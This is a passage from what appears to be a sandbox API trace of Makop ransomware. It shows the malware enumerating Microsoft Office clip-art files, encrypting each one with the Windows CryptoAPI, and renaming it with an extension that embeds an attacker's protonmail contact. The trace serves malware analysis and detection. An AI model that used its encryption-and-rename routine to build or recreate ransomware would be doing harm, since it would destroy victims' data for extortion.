lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfd0, lpOverlapped=0x0) returned 1 [0162.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.412] SetEndOfFile (hFile=0xf0) returned 1 [0162.419] GetProcessHeap () returned 0x48a0000 [0162.419] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.419] GetProcessHeap () returned 0x48a0000 [0162.419] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.419] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.421] CloseHandle (hObject=0xf0) returned 1 [0162.421] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0162.421] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF") returned 61 [0162.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.423] GetProcessHeap () returned 0x48a0000 [0162.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.423] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0162.660] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.660] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.660] GetProcessHeap () returned 0x48a0000 [0162.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.660] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.660] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.661] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.661] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.661] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7b2, lpOverlapped=0x0) returned 1 [0162.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c0) returned 1 [0162.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c0, lpOverlapped=0x0) returned 1 [0162.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.662] SetEndOfFile (hFile=0xf0) returned 1 [0162.669] GetProcessHeap () returned 0x48a0000 [0162.669] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.669] GetProcessHeap () returned 0x48a0000 [0162.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.670] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.672] CloseHandle (hObject=0xf0) returned 1 [0162.672] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0162.672] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF") returned 61 [0162.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.674] GetProcessHeap () returned 0x48a0000 [0162.674] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.674] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0162.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.782] GetProcessHeap () returned 0x48a0000 [0162.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.784] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.784] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.784] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.785] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1216, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1216, lpOverlapped=0x0) returned 1 [0162.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220) returned 1 [0162.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1220, lpOverlapped=0x0) returned 1 [0162.787] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.787] SetEndOfFile (hFile=0xf0) returned 1 [0162.793] GetProcessHeap () returned 0x48a0000 [0162.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.794] GetProcessHeap () returned 0x48a0000 [0162.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.796] CloseHandle (hObject=0xf0) returned 1 [0162.796] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0162.796] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF") returned 61 [0162.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.800] GetProcessHeap () returned 0x48a0000 [0162.800] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.800] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0162.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.805] GetProcessHeap () returned 0x48a0000 [0162.805] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.807] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.807] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.807] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8cbe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8cbe, lpOverlapped=0x0) returned 1 [0162.809] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8cc0, dwBufLen=0x8cc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8cc0) returned 1 [0162.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8cc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8cc0, lpOverlapped=0x0) returned 1 [0162.810] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.810] SetEndOfFile (hFile=0xf0) returned 1 [0162.818] GetProcessHeap () returned 0x48a0000 [0162.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.818] GetProcessHeap () returned 0x48a0000 [0162.818] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.818] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.820] CloseHandle (hObject=0xf0) returned 1 [0162.820] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0162.820] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF") returned 61 [0162.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.821] GetProcessHeap () returned 0x48a0000 [0162.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.822] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.826] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.826] GetProcessHeap () returned 0x48a0000 [0162.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.826] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.827] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.828] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.828] ReadFile (in: hFile=0xf0, 